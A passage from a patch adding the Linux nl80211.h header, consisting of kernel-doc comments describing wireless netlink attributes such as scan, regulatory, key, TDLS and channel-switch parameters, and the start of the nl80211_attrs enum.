+ * @NL80211_ATTR_REG_RULES: a nested array of regulatory domain regulatory
+ * rules.
+ *
+ * @NL80211_ATTR_BSS_CTS_PROT: whether CTS protection is enabled (u8, 0 or 1)
+ * @NL80211_ATTR_BSS_SHORT_PREAMBLE: whether short preamble is enabled
+ * (u8, 0 or 1)
+ * @NL80211_ATTR_BSS_SHORT_SLOT_TIME: whether short slot time enabled
+ * (u8, 0 or 1)
+ * @NL80211_ATTR_BSS_BASIC_RATES: basic rates, array of basic
+ * rates in format defined by IEEE 802.11 7.3.2.2 but without the length
+ * restriction (at most %NL80211_MAX_SUPP_RATES).
+ *
+ * @NL80211_ATTR_HT_CAPABILITY: HT Capability information element (from
+ * association request when used with NL80211_CMD_NEW_STATION)
+ *
+ * @NL80211_ATTR_SUPPORTED_IFTYPES: nested attribute containing all
+ * supported interface types, each a flag attribute with the number
+ * of the interface mode.
+ *
+ * @NL80211_ATTR_MGMT_SUBTYPE: Management frame subtype for
+ * %NL80211_CMD_SET_MGMT_EXTRA_IE.
+ *
+ * @NL80211_ATTR_IE: Information element(s) data (used, e.g., with
+ * %NL80211_CMD_SET_MGMT_EXTRA_IE).
+ *
+ * @NL80211_ATTR_MAX_NUM_SCAN_SSIDS: number of SSIDs you can scan with
+ * a single scan request, a wiphy attribute.
+ * @NL80211_ATTR_MAX_NUM_SCHED_SCAN_SSIDS: number of SSIDs you can
+ * scan with a single scheduled scan request, a wiphy attribute.
+ * @NL80211_ATTR_MAX_SCAN_IE_LEN: maximum length of information elements
+ * that can be added to a scan request
+ * @NL80211_ATTR_MAX_SCHED_SCAN_IE_LEN: maximum length of information
+ * elements that can be added to a scheduled scan request
+ * @NL80211_ATTR_MAX_MATCH_SETS: maximum number of sets that can be
+ * used with @NL80211_ATTR_SCHED_SCAN_MATCH, a wiphy attribute.
+ *
+ * @NL80211_ATTR_SCAN_FREQUENCIES: nested attribute with frequencies (in MHz)
+ * @NL80211_ATTR_SCAN_SSIDS: nested attribute with SSIDs, leave out for passive
+ * scanning and include a zero-length SSID (wildcard) for wildcard scan
+ * @NL80211_ATTR_BSS: scan result BSS
+ *
+ * @NL80211_ATTR_REG_INITIATOR: indicates who requested the regulatory domain
+ * currently in effect. This could be any of the %NL80211_REGDOM_SET_BY_*
+ * @NL80211_ATTR_REG_TYPE: indicates the type of the regulatory domain currently
+ * set. This can be one of the nl80211_reg_type (%NL80211_REGDOM_TYPE_*)
+ *
+ * @NL80211_ATTR_SUPPORTED_COMMANDS: wiphy attribute that specifies
+ * an array of command numbers (i.e. a mapping index to command number)
+ * that the driver for the given wiphy supports.
+ *
+ * @NL80211_ATTR_FRAME: frame data (binary attribute), including frame header
+ * and body, but not FCS; used, e.g., with NL80211_CMD_AUTHENTICATE and
+ * NL80211_CMD_ASSOCIATE events
+ * @NL80211_ATTR_SSID: SSID (binary attribute, 0..32 octets)
+ * @NL80211_ATTR_AUTH_TYPE: AuthenticationType, see &enum nl80211_auth_type,
+ * represented as a u32
+ * @NL80211_ATTR_REASON_CODE: ReasonCode for %NL80211_CMD_DEAUTHENTICATE and
+ * %NL80211_CMD_DISASSOCIATE, u16
+ *
+ * @NL80211_ATTR_KEY_TYPE: Key Type, see &enum nl80211_key_type, represented as
+ * a u32
+ *
+ * @NL80211_ATTR_FREQ_BEFORE: A channel which has suffered a regulatory change
+ * due to considerations from a beacon hint. This attribute reflects
+ * the state of the channel _before_ the beacon hint processing. This
+ * attributes consists of a nested attribute containing
+ * NL80211_FREQUENCY_ATTR_*
+ * @NL80211_ATTR_FREQ_AFTER: A channel which has suffered a regulatory change
+ * due to considerations from a beacon hint. This attribute reflects
+ * the state of the channel _after_ the beacon hint processing. This
+ * attributes consists of a nested attribute containing
+ * NL80211_FREQUENCY_ATTR_*
+ *
+ * @NL80211_ATTR_CIPHER_SUITES: a set of u32 values indicating the supported
+ * cipher suites
+ *
+ * @NL80211_ATTR_FREQ_FIXED: a flag indicating the IBSS should not try to look
+ * for other networks on different channels
+ *
+ * @NL80211_ATTR_TIMED_OUT: a flag indicating than an operation timed out; this
+ * is used, e.g., with %NL80211_CMD_AUTHENTICATE event
+ *
+ * @NL80211_ATTR_USE_MFP: Whether management frame protection (IEEE 802.11w) is
+ * used for the association (&enum nl80211_mfp, represented as a u32);
+ * this attribute can be used
+ * with %NL80211_CMD_ASSOCIATE and %NL80211_CMD_CONNECT requests
+ *
+ * @NL80211_ATTR_STA_FLAGS2: Attribute containing a
+ * &struct nl80211_sta_flag_update.
+ *
+ * @NL80211_ATTR_CONTROL_PORT: A flag indicating whether user space controls
+ * IEEE 802.1X port, i.e., sets/clears %NL80211_STA_FLAG_AUTHORIZED, in
+ * station mode. If the flag is included in %NL80211_CMD_ASSOCIATE
+ * request, the driver will assume that the port is unauthorized until
+ * authorized by user space. Otherwise, port is marked authorized by
+ * default in station mode.
+ * @NL80211_ATTR_CONTROL_PORT_ETHERTYPE: A 16-bit value indicating the
+ * ethertype that will be used for key negotiation. It can be
+ * specified with the associate and connect commands. If it is not
+ * specified, the value defaults to 0x888E (PAE, 802.1X). This
+ * attribute is also used as a flag in the wiphy information to
+ * indicate that protocols other than PAE are supported.
+ * @NL80211_ATTR_CONTROL_PORT_NO_ENCRYPT: When included along with
+ * %NL80211_ATTR_CONTROL_PORT_ETHERTYPE, indicates that the custom
+ * ethertype frames used for key negotiation must not be encrypted.
+ *
+ * @NL80211_ATTR_TESTDATA: Testmode data blob, passed through to the driver.
+ * We recommend using nested, driver-specific attributes within this.
+ *
+ * @NL80211_ATTR_DISCONNECTED_BY_AP: A flag indicating that the DISCONNECT
+ * event was due to the AP disconnecting the station, and not due to
+ * a local disconnect request.
+ * @NL80211_ATTR_STATUS_CODE: StatusCode for the %NL80211_CMD_CONNECT
+ * event (u16)
+ * @NL80211_ATTR_PRIVACY: Flag attribute, used with connect(), indicating
+ * that protected APs should be used. This is also used with NEW_BEACON to
+ * indicate that the BSS is to use protection.
+ *
+ * @NL80211_ATTR_CIPHERS_PAIRWISE: Used with CONNECT, ASSOCIATE, and NEW_BEACON
+ * to indicate which unicast key ciphers will be used with the connection
+ * (an array of u32).
+ * @NL80211_ATTR_CIPHER_GROUP: Used with CONNECT, ASSOCIATE, and NEW_BEACON to
+ * indicate which group key cipher will be used with the connection (a
+ * u32).
+ * @NL80211_ATTR_WPA_VERSIONS: Used with CONNECT, ASSOCIATE, and NEW_BEACON to
+ * indicate which WPA version(s) the AP we want to associate with is using
+ * (a u32 with flags from &enum nl80211_wpa_versions).
+ * @NL80211_ATTR_AKM_SUITES: Used with CONNECT, ASSOCIATE, and NEW_BEACON to
+ * indicate which key management algorithm(s) to use (an array of u32).
+ *
+ * @NL80211_ATTR_REQ_IE: (Re)association request information elements as
+ * sent out by the card, for ROAM and successful CONNECT events.
+ * @NL80211_ATTR_RESP_IE: (Re)association response information elements as
+ * sent by peer, for ROAM and successful CONNECT events.
+ *
+ * @NL80211_ATTR_PREV_BSSID: previous BSSID, to be used by in ASSOCIATE
+ * commands to specify using a reassociate frame
+ *
+ * @NL80211_ATTR_KEY: key information in a nested attribute with
+ * %NL80211_KEY_* sub-attributes
+ * @NL80211_ATTR_KEYS: array of keys for static WEP keys for connect()
+ * and join_ibss(), key information is in a nested attribute each
+ * with %NL80211_KEY_* sub-attributes
+ *
+ * @NL80211_ATTR_PID: Process ID of a network namespace.
+ *
+ * @NL80211_ATTR_GENERATION: Used to indicate consistent snapshots for
+ * dumps. This number increases whenever the object list being
+ * dumped changes, and as such userspace can verify that it has
+ * obtained a complete and consistent snapshot by verifying that
+ * all dump messages contain the same generation number. If it
+ * changed then the list changed and the dump should be repeated
+ * completely from scratch.
+ *
+ * @NL80211_ATTR_4ADDR: Use 4-address frames on a virtual interface
+ *
+ * @NL80211_ATTR_SURVEY_INFO: survey information about a channel, part of
+ * the survey response for %NL80211_CMD_GET_SURVEY, nested attribute
+ * containing info as possible, see &enum survey_info.
+ *
+ * @NL80211_ATTR_PMKID: PMK material for PMKSA caching.
+ * @NL80211_ATTR_MAX_NUM_PMKIDS: maximum number of PMKIDs a firmware can
+ * cache, a wiphy attribute.
+ *
+ * @NL80211_ATTR_DURATION: Duration of an operation in milliseconds, u32.
+ * @NL80211_ATTR_MAX_REMAIN_ON_CHANNEL_DURATION: Device attribute that
+ * specifies the maximum duration that can be requested with the
+ * remain-on-channel operation, in milliseconds, u32.
+ *
+ * @NL80211_ATTR_COOKIE: Generic 64-bit cookie to identify objects.
+ *
+ * @NL80211_ATTR_TX_RATES: Nested set of attributes
+ * (enum nl80211_tx_rate_attributes) describing TX rates per band. The
+ * enum nl80211_band value is used as the index (nla_type() of the nested
+ * data. If a band is not included, it will be configured to allow all
+ * rates based on negotiated supported rates information. This attribute
+ * is used with %NL80211_CMD_SET_TX_BITRATE_MASK.
+ *
+ * @NL80211_ATTR_FRAME_MATCH: A binary attribute which typically must contain
+ * at least one byte, currently used with @NL80211_CMD_REGISTER_FRAME.
+ * @NL80211_ATTR_FRAME_TYPE: A u16 indicating the frame type/subtype for the
+ * @NL80211_CMD_REGISTER_FRAME command.
+ * @NL80211_ATTR_TX_FRAME_TYPES: wiphy capability attribute, which is a
+ * nested attribute of %NL80211_ATTR_FRAME_TYPE attributes, containing
+ * information about which frame types can be transmitted with
+ * %NL80211_CMD_FRAME.
+ * @NL80211_ATTR_RX_FRAME_TYPES: wiphy capability attribute, which is a
+ * nested attribute of %NL80211_ATTR_FRAME_TYPE attributes, containing
+ * information about which frame types can be registered for RX.
+ *
+ * @NL80211_ATTR_ACK: Flag attribute indicating that the frame was
+ * acknowledged by the recipient.
+ *
+ * @NL80211_ATTR_PS_STATE: powersave state, using &enum nl80211_ps_state values.
+ *
+ * @NL80211_ATTR_CQM: connection quality monitor configuration in a
+ * nested attribute with %NL80211_ATTR_CQM_* sub-attributes.
+ *
+ * @NL80211_ATTR_LOCAL_STATE_CHANGE: Flag attribute to indicate that a command
+ * is requesting a local authentication/association state change without
+ * invoking actual management frame exchange. This can be used with
+ * NL80211_CMD_AUTHENTICATE, NL80211_CMD_DEAUTHENTICATE,
+ * NL80211_CMD_DISASSOCIATE.
+ *
+ * @NL80211_ATTR_AP_ISOLATE: (AP mode) Do not forward traffic between stations
+ * connected to this BSS.
+ *
+ * @NL80211_ATTR_WIPHY_TX_POWER_SETTING: Transmit power setting type. See
+ * &enum nl80211_tx_power_setting for possible values.
+ * @NL80211_ATTR_WIPHY_TX_POWER_LEVEL: Transmit power level in signed mBm units.
+ * This is used in association with @NL80211_ATTR_WIPHY_TX_POWER_SETTING
+ * for non-automatic settings.
+ *
+ * @NL80211_ATTR_SUPPORT_IBSS_RSN: The device supports IBSS RSN, which mostly
+ * means support for per-station GTKs.
+ *
+ * @NL80211_ATTR_WIPHY_ANTENNA_TX: Bitmap of allowed antennas for transmitting.
+ * This can be used to mask out antennas which are not attached or should
+ * not be used for transmitting. If an antenna is not selected in this
+ * bitmap the hardware is not allowed to transmit on this antenna.
+ *
+ * Each bit represents one antenna, starting with antenna 1 at the first
+ * bit. Depending on which antennas are selected in the bitmap, 802.11n
+ * drivers can derive which chainmasks to use (if all antennas belonging to
+ * a particular chain are disabled this chain should be disabled) and if
+ * a chain has diversity antennas wether diversity should be used or not.
+ * HT capabilities (STBC, TX Beamforming, Antenna selection) can be
+ * derived from the available chains after applying the antenna mask.
+ * Non-802.11n drivers can derive wether to use diversity or not.
+ * Drivers may reject configurations or RX/TX mask combinations they cannot
+ * support by returning -EINVAL.
+ *
+ * @NL80211_ATTR_WIPHY_ANTENNA_RX: Bitmap of allowed antennas for receiving.
+ * This can be used to mask out antennas which are not attached or should
+ * not be used for receiving. If an antenna is not selected in this bitmap
+ * the hardware should not be configured to receive on this antenna.
+ * For a more detailed description see @NL80211_ATTR_WIPHY_ANTENNA_TX.
+ *
+ * @NL80211_ATTR_WIPHY_ANTENNA_AVAIL_TX: Bitmap of antennas which are available
+ * for configuration as TX antennas via the above parameters.
+ *
+ * @NL80211_ATTR_WIPHY_ANTENNA_AVAIL_RX: Bitmap of antennas which are available
+ * for configuration as RX antennas via the above parameters.
+ *
+ * @NL80211_ATTR_MCAST_RATE: Multicast tx rate (in 100 kbps) for IBSS
+ *
+ * @NL80211_ATTR_OFFCHANNEL_TX_OK: For management frame TX, the frame may be
+ * transmitted on another channel when the channel given doesn't match
+ * the current channel. If the current channel doesn't match and this
+ * flag isn't set, the frame will be rejected. This is also used as an
+ * nl80211 capability flag.
+ *
+ * @NL80211_ATTR_BSS_HT_OPMODE: HT operation mode (u16)
+ *
+ * @NL80211_ATTR_KEY_DEFAULT_TYPES: A nested attribute containing flags
+ * attributes, specifying what a key should be set as default as.
+ * See &enum nl80211_key_default_types.
+ *
+ * @NL80211_ATTR_MESH_SETUP: Optional mesh setup parameters. These cannot be
+ * changed once the mesh is active.
+ * @NL80211_ATTR_MESH_CONFIG: Mesh configuration parameters, a nested attribute
+ * containing attributes from &enum nl80211_meshconf_params.
+ * @NL80211_ATTR_SUPPORT_MESH_AUTH: Currently, this means the underlying driver
+ * allows auth frames in a mesh to be passed to userspace for processing
+ *via the @NL80211_MESH_SETUP_USERSPACE_AUTH flag.
+ * @NL80211_ATTR_STA_PLINK_STATE: The state of a mesh peer link as defined in
+ * &enum nl80211_plink_state. Used when userspace is driving the peer link
+ * management state machine. @NL80211_MESH_SETUP_USERSPACE_AMPE or
+ * @NL80211_MESH_SETUP_USERSPACE_MPM must be enabled.
+ *
+ * @NL80211_ATTR_WOWLAN_TRIGGERS_SUPPORTED: indicates, as part of the wiphy
+ * capabilities, the supported WoWLAN triggers
+ * @NL80211_ATTR_WOWLAN_TRIGGERS: used by %NL80211_CMD_SET_WOWLAN to
+ * indicate which WoW triggers should be enabled. This is also
+ * used by %NL80211_CMD_GET_WOWLAN to get the currently enabled WoWLAN
+ * triggers.
+ *
+ * @NL80211_ATTR_SCHED_SCAN_INTERVAL: Interval between scheduled scan
+ * cycles, in msecs.
+ *
+ * @NL80211_ATTR_SCHED_SCAN_MATCH: Nested attribute with one or more
+ * sets of attributes to match during scheduled scans. Only BSSs
+ * that match any of the sets will be reported. These are
+ * pass-thru filter rules.
+ * For a match to succeed, the BSS must match all attributes of a
+ * set. Since not every hardware supports matching all types of
+ * attributes, there is no guarantee that the reported BSSs are
+ * fully complying with the match sets and userspace needs to be
+ * able to ignore them by itself.
+ * Thus, the implementation is somewhat hardware-dependent, but
+ * this is only an optimization and the userspace application
+ * needs to handle all the non-filtered results anyway.
+ * If the match attributes don't make sense when combined with
+ * the values passed in @NL80211_ATTR_SCAN_SSIDS (eg. if an SSID
+ * is included in the probe request, but the match attributes
+ * will never let it go through), -EINVAL may be returned.
+ * If ommited, no filtering is done.
+ *
+ * @NL80211_ATTR_INTERFACE_COMBINATIONS: Nested attribute listing the supported
+ * interface combinations. In each nested item, it contains attributes
+ * defined in &enum nl80211_if_combination_attrs.
+ * @NL80211_ATTR_SOFTWARE_IFTYPES: Nested attribute (just like
+ * %NL80211_ATTR_SUPPORTED_IFTYPES) containing the interface types that
+ * are managed in software: interfaces of these types aren't subject to
+ * any restrictions in their number or combinations.
+ *
+ * @NL80211_ATTR_REKEY_DATA: nested attribute containing the information
+ * necessary for GTK rekeying in the device, see &enum nl80211_rekey_data.
+ *
+ * @NL80211_ATTR_SCAN_SUPP_RATES: rates per to be advertised as supported in
+ *scan, nested array attribute containing an entry for each band, with the entry
+ * being a list of supported rates as defined by IEEE 802.11 7.3.2.2 but
+ * without the length restriction (at most %NL80211_MAX_SUPP_RATES).
+ *
+ * @NL80211_ATTR_HIDDEN_SSID: indicates whether SSID is to be hidden from Beacon
+ * and Probe Response (when response to wildcard Probe Request); see
+ * &enum nl80211_hidden_ssid, represented as a u32
+ *
+ * @NL80211_ATTR_IE_PROBE_RESP: Information element(s) for Probe Response frame.
+ * This is used with %NL80211_CMD_NEW_BEACON and %NL80211_CMD_SET_BEACON to
+ * provide extra IEs (e.g., WPS/P2P IE) into Probe Response frames when the
+ * driver (or firmware) replies to Probe Request frames.
+ * @NL80211_ATTR_IE_ASSOC_RESP: Information element(s) for (Re)Association
+ * Response frames. This is used with %NL80211_CMD_NEW_BEACON and
+ * %NL80211_CMD_SET_BEACON to provide extra IEs (e.g., WPS/P2P IE) into
+ * (Re)Association Response frames when the driver (or firmware) replies to
+ * (Re)Association Request frames.
+ *
+ * @NL80211_ATTR_STA_WME: Nested attribute containing the wme configuration
+ * of the station, see &enum nl80211_sta_wme_attr.
+ * @NL80211_ATTR_SUPPORT_AP_UAPSD: the device supports uapsd when working
+ * as AP.
+ *
+ * @NL80211_ATTR_ROAM_SUPPORT: Indicates whether the firmware is capable of
+ * roaming to another AP in the same ESS if the signal lever is low.
+ *
+ * @NL80211_ATTR_PMKSA_CANDIDATE: Nested attribute containing the PMKSA caching
+ * candidate information, see &enum nl80211_pmksa_candidate_attr.
+ *
+ * @NL80211_ATTR_TX_NO_CCK_RATE: Indicates whether to use CCK rate or not
+ * for management frames transmission. In order to avoid p2p probe/action
+ * frames are being transmitted at CCK rate in 2GHz band, the user space
+ * applications use this attribute.
+ * This attribute is used with %NL80211_CMD_TRIGGER_SCAN and
+ * %NL80211_CMD_FRAME commands.
+ *
+ * @NL80211_ATTR_TDLS_ACTION: Low level TDLS action code (e.g. link setup
+ * request, link setup confirm, link teardown, etc.). Values are
+ * described in the TDLS (802.11z) specification.
+ * @NL80211_ATTR_TDLS_DIALOG_TOKEN: Non-zero token for uniquely identifying a
+ * TDLS conversation between two devices.
+ * @NL80211_ATTR_TDLS_OPERATION: High level TDLS operation; see
+ * &enum nl80211_tdls_operation, represented as a u8.
+ * @NL80211_ATTR_TDLS_SUPPORT: A flag indicating the device can operate
+ * as a TDLS peer sta.
+ * @NL80211_ATTR_TDLS_EXTERNAL_SETUP: The TDLS discovery/setup and teardown
+ * procedures should be performed by sending TDLS packets via
+ * %NL80211_CMD_TDLS_MGMT. Otherwise %NL80211_CMD_TDLS_OPER should be
+ * used for asking the driver to perform a TDLS operation.
+ *
+ * @NL80211_ATTR_DEVICE_AP_SME: This u32 attribute may be listed for devices
+ * that have AP support to indicate that they have the AP SME integrated
+ * with support for the features listed in this attribute, see
+ * &enum nl80211_ap_sme_features.
+ *
+ * @NL80211_ATTR_DONT_WAIT_FOR_ACK: Used with %NL80211_CMD_FRAME, this tells
+ * the driver to not wait for an acknowledgement. Note that due to this,
+ * it will also not give a status callback nor return a cookie. This is
+ * mostly useful for probe responses to save airtime.
+ *
+ * @NL80211_ATTR_FEATURE_FLAGS: This u32 attribute contains flags from
+ * &enum nl80211_feature_flags and is advertised in wiphy information.
+ * @NL80211_ATTR_PROBE_RESP_OFFLOAD: Indicates that the HW responds to probe
+ * requests while operating in AP-mode.
+ * This attribute holds a bitmap of the supported protocols for
+ * offloading (see &enum nl80211_probe_resp_offload_support_attr).
+ *
+ * @NL80211_ATTR_PROBE_RESP: Probe Response template data. Contains the entire
+ * probe-response frame. The DA field in the 802.11 header is zero-ed out,
+ * to be filled by the FW.
+ * @NL80211_ATTR_DISABLE_HT: Force HT capable interfaces to disable
+ * this feature. Currently, only supported in mac80211 drivers.
+ * @NL80211_ATTR_HT_CAPABILITY_MASK: Specify which bits of the
+ * ATTR_HT_CAPABILITY to which attention should be paid.
+ * Currently, only mac80211 NICs support this feature.
+ * The values that may be configured are:
+ * MCS rates, MAX-AMSDU, HT-20-40 and HT_CAP_SGI_40
+ * AMPDU density and AMPDU factor.
+ * All values are treated as suggestions and may be ignored
+ * by the driver as required. The actual values may be seen in
+ * the station debugfs ht_caps file.
+ *
+ * @NL80211_ATTR_DFS_REGION: region for regulatory rules which this country
+ * abides to when initiating radiation on DFS channels. A country maps
+ * to one DFS region.
+ *
+ * @NL80211_ATTR_NOACK_MAP: This u16 bitmap contains the No Ack Policy of
+ * up to 16 TIDs.
+ *
+ * @NL80211_ATTR_INACTIVITY_TIMEOUT: timeout value in seconds, this can be
+ * used by the drivers which has MLME in firmware and does not have support
+ * to report per station tx/rx activity to free up the staion entry from
+ * the list. This needs to be used when the driver advertises the
+ * capability to timeout the stations.
+ *
+ * @NL80211_ATTR_RX_SIGNAL_DBM: signal strength in dBm (as a 32-bit int);
+ * this attribute is (depending on the driver capabilities) added to
+ * received frames indicated with %NL80211_CMD_FRAME.
+ *
+ * @NL80211_ATTR_BG_SCAN_PERIOD: Background scan period in seconds
+ * or 0 to disable background scan.
+ *
+ * @NL80211_ATTR_USER_REG_HINT_TYPE: type of regulatory hint passed from
+ * userspace. If unset it is assumed the hint comes directly from
+ * a user. If set code could specify exactly what type of source
+ * was used to provide the hint. For the different types of
+ * allowed user regulatory hints see nl80211_user_reg_hint_type.
+ *
+ * @NL80211_ATTR_CONN_FAILED_REASON: The reason for which AP has rejected
+ * the connection request from a station. nl80211_connect_failed_reason
+ * enum has different reasons of connection failure.
+ *
+ * @NL80211_ATTR_SAE_DATA: SAE elements in Authentication frames. This starts
+ * with the Authentication transaction sequence number field.
+ *
+ * @NL80211_ATTR_VHT_CAPABILITY: VHT Capability information element (from
+ * association request when used with NL80211_CMD_NEW_STATION)
+ *
+ * @NL80211_ATTR_SCAN_FLAGS: scan request control flags (u32)
+ *
+ * @NL80211_ATTR_P2P_CTWINDOW: P2P GO Client Traffic Window (u8), used with
+ * the START_AP and SET_BSS commands
+ * @NL80211_ATTR_P2P_OPPPS: P2P GO opportunistic PS (u8), used with the
+ * START_AP and SET_BSS commands. This can have the values 0 or 1;
+ * if not given in START_AP 0 is assumed, if not given in SET_BSS
+ * no change is made.
+ *
+ * @NL80211_ATTR_LOCAL_MESH_POWER_MODE: local mesh STA link-specific power mode
+ * defined in &enum nl80211_mesh_power_mode.
+ *
+ * @NL80211_ATTR_ACL_POLICY: ACL policy, see &enum nl80211_acl_policy,
+ * carried in a u32 attribute
+ *
+ * @NL80211_ATTR_MAC_ADDRS: Array of nested MAC addresses, used for
+ * MAC ACL.
+ *
+ * @NL80211_ATTR_MAC_ACL_MAX: u32 attribute to advertise the maximum
+ * number of MAC addresses that a device can support for MAC
+ * ACL.
+ *
+ * @NL80211_ATTR_RADAR_EVENT: Type of radar event for notification to userspace,
+ * contains a value of enum nl80211_radar_event (u32).
+ *
+ * @NL80211_ATTR_EXT_CAPA: 802.11 extended capabilities that the kernel driver
+ * has and handles. The format is the same as the IE contents. See
+ * 802.11-2012 8.4.2.29 for more information.
+ * @NL80211_ATTR_EXT_CAPA_MASK: Extended capabilities that the kernel driver
+ * has set in the %NL80211_ATTR_EXT_CAPA value, for multibit fields.
+ *
+ * @NL80211_ATTR_STA_CAPABILITY: Station capabilities (u16) are advertised to
+ * the driver, e.g., to enable TDLS power save (PU-APSD).
+ *
+ * @NL80211_ATTR_STA_EXT_CAPABILITY: Station extended capabilities are
+ * advertised to the driver, e.g., to enable TDLS off channel operations
+ * and PU-APSD.
+ *
+ * @NL80211_ATTR_PROTOCOL_FEATURES: global nl80211 feature flags, see
+ * &enum nl80211_protocol_features, the attribute is a u32.
+ *
+ * @NL80211_ATTR_SPLIT_WIPHY_DUMP: flag attribute, userspace supports
+ * receiving the data for a single wiphy split across multiple
+ * messages, given with wiphy dump message
+ *
+ * @NL80211_ATTR_MDID: Mobility Domain Identifier
+ *
+ * @NL80211_ATTR_IE_RIC: Resource Information Container Information
+ * Element
+ *
+ * @NL80211_ATTR_CRIT_PROT_ID: critical protocol identifier requiring increased
+ * reliability, see &enum nl80211_crit_proto_id (u16).
+ * @NL80211_ATTR_MAX_CRIT_PROT_DURATION: duration in milliseconds in which
+ * the connection should have increased reliability (u16).
+ *
+ * @NL80211_ATTR_PEER_AID: Association ID for the peer TDLS station (u16).
+ * This is similar to @NL80211_ATTR_STA_AID but with a difference of being
+ * allowed to be used with the first @NL80211_CMD_SET_STATION command to
+ * update a TDLS peer STA entry.
+ *
+ * @NL80211_ATTR_COALESCE_RULE: Coalesce rule information.
+ *
+ * @NL80211_ATTR_CH_SWITCH_COUNT: u32 attribute specifying the number of TBTT's
+ * until the channel switch event.
+ * @NL80211_ATTR_CH_SWITCH_BLOCK_TX: flag attribute specifying that transmission
+ * must be blocked on the current channel (before the channel switch
+ * operation).
+ * @NL80211_ATTR_CSA_IES: Nested set of attributes containing the IE information
+ * for the time while performing a channel switch.
+ * @NL80211_ATTR_CSA_C_OFF_BEACON: An array of offsets (u16) to the channel
+ * switch counters in the beacons tail (%NL80211_ATTR_BEACON_TAIL).
+ * @NL80211_ATTR_CSA_C_OFF_PRESP: An array of offsets (u16) to the channel
+ * switch counters in the probe response (%NL80211_ATTR_PROBE_RESP).
+ *
+ * @NL80211_ATTR_RXMGMT_FLAGS: flags for nl80211_send_mgmt(), u32.
+ * As specified in the &enum nl80211_rxmgmt_flags.
+ *
+ * @NL80211_ATTR_STA_SUPPORTED_CHANNELS: array of supported channels.
+ *
+ * @NL80211_ATTR_STA_SUPPORTED_OPER_CLASSES: array of supported
+ * supported operating classes.
+ *
+ * @NL80211_ATTR_HANDLE_DFS: A flag indicating whether user space
+ * controls DFS operation in IBSS mode. If the flag is included in
+ * %NL80211_CMD_JOIN_IBSS request, the driver will allow use of DFS
+ * channels and reports radar events to userspace. Userspace is required
+ * to react to radar events, e.g. initiate a channel switch or leave the
+ * IBSS network.
+ *
+ * @NL80211_ATTR_SUPPORT_5_MHZ: A flag indicating that the device supports
+ * 5 MHz channel bandwidth.
+ * @NL80211_ATTR_SUPPORT_10_MHZ: A flag indicating that the device supports
+ * 10 MHz channel bandwidth.
+ *
+ * @NL80211_ATTR_OPMODE_NOTIF: Operating mode field from Operating Mode
+ * Notification Element based on association request when used with
+ * %NL80211_CMD_NEW_STATION; u8 attribute.
+ *
+ * @NL80211_ATTR_VENDOR_ID: The vendor ID, either a 24-bit OUI or, if
+ * %NL80211_VENDOR_ID_IS_LINUX is set, a special Linux ID (not used yet)
+ * @NL80211_ATTR_VENDOR_SUBCMD: vendor sub-command
+ * @NL80211_ATTR_VENDOR_DATA: data for the vendor command, if any; this
+ * attribute is also used for vendor command feature advertisement
+ * @NL80211_ATTR_VENDOR_EVENTS: used for event list advertising in the wiphy
+ * info, containing a nested array of possible events
+ *
+ * @NL80211_ATTR_QOS_MAP: IP DSCP mapping for Interworking QoS mapping. This
+ * data is in the format defined for the payload of the QoS Map Set element
+ * in IEEE Std 802.11-2012, 8.4.2.97.
+ *
+ * @NL80211_ATTR_MAC_HINT: MAC address recommendation as initial BSS
+ * @NL80211_ATTR_WIPHY_FREQ_HINT: frequency of the recommended initial BSS
+ *
+ * @NL80211_ATTR_MAX_AP_ASSOC_STA: Device attribute that indicates how many
+ * associated stations are supported in AP mode (including P2P GO); u32.
+ * Since drivers may not have a fixed limit on the maximum number (e.g.,
+ * other concurrent operations may affect this), drivers are allowed to
+ * advertise values that cannot always be met. In such cases, an attempt
+ * to add a new station entry with @NL80211_CMD_NEW_STATION may fail.
+ *
+ * @NL80211_ATTR_CSA_C_OFFSETS_TX: An array of csa counter offsets (u16) which
+ * should be updated when the frame is transmitted.
+ * @NL80211_ATTR_MAX_CSA_COUNTERS: U8 attribute used to advertise the maximum
+ * supported number of csa counters.
+ *
+ * @NL80211_ATTR_TDLS_PEER_CAPABILITY: flags for TDLS peer capabilities, u32.
+ * As specified in the &enum nl80211_tdls_peer_capability.
+ *
+ * @NL80211_ATTR_IFACE_SOCKET_OWNER: flag attribute, if set during interface
+ * creation then the new interface will be owned by the netlink socket
+ * that created it and will be destroyed when the socket is closed.
+ * If set during scheduled scan start then the new scan req will be
+ * owned by the netlink socket that created it and the scheduled scan will
+ * be stopped when the socket is closed.
+ *
+ * @NL80211_ATTR_TDLS_INITIATOR: flag attribute indicating the current end is
+ * the TDLS link initiator.
+ *
+ * @NL80211_ATTR_USE_RRM: flag for indicating whether the current connection
+ * shall support Radio Resource Measurements (11k). This attribute can be
+ * used with %NL80211_CMD_ASSOCIATE and %NL80211_CMD_CONNECT requests.
+ * User space applications are expected to use this flag only if the
+ * underlying device supports these minimal RRM features:
+ * %NL80211_FEATURE_DS_PARAM_SET_IE_IN_PROBES,
+ * %NL80211_FEATURE_QUIET,
+ * If this flag is used, driver must add the Power Capabilities IE to the
+ * association request. In addition, it must also set the RRM capability
+ * flag in the association request's Capability Info field.
+ *
+ * @NL80211_ATTR_WIPHY_DYN_ACK: flag attribute used to enable ACK timeout
+ * estimation algorithm (dynack). In order to activate dynack
+ * %NL80211_FEATURE_ACKTO_ESTIMATION feature flag must be set by lower
+ * drivers to indicate dynack capability. Dynack is automatically disabled
+ * setting valid value for coverage class.
+ *
+ * @NL80211_ATTR_TSID: a TSID value (u8 attribute)
+ * @NL80211_ATTR_USER_PRIO: user priority value (u8 attribute)
+ * @NL80211_ATTR_ADMITTED_TIME: admitted time in units of 32 microseconds
+ * (per second) (u16 attribute)
+ *
+ * @NL80211_ATTR_SMPS_MODE: SMPS mode to use (ap mode). see
+ * &enum nl80211_smps_mode.
+ *
+ * @NL80211_ATTR_PBSS: flag attribute. If set it means operate
+ * in a PBSS. Specified in %NL80211_CMD_CONNECT to request
+ * connecting to a PCP, and in %NL80211_CMD_START_AP to start
+ * a PCP instead of AP. Relevant for DMG networks only.
+ *
+ * @NL80211_ATTR_MAX: highest attribute number currently defined
+ * @__NL80211_ATTR_AFTER_LAST: internal use
+ */
+enum nl80211_attrs {
+ /* don't change the order or add anything between, this is ABI! */
+ NL80211_ATTR_UNSPEC,
+
+ NL80211_ATTR_WIPHY,
+ NL80211_ATTR_WIPHY_NAME,
+
+ NL80211_ATTR_IFINDEX,
+ NL80211_ATTR_IFNAME,
+ NL80211_ATTR_IFTYPE,
+
+ NL80211_ATTR_MAC,
+
+ NL80211_ATTR_KEY_DATA,
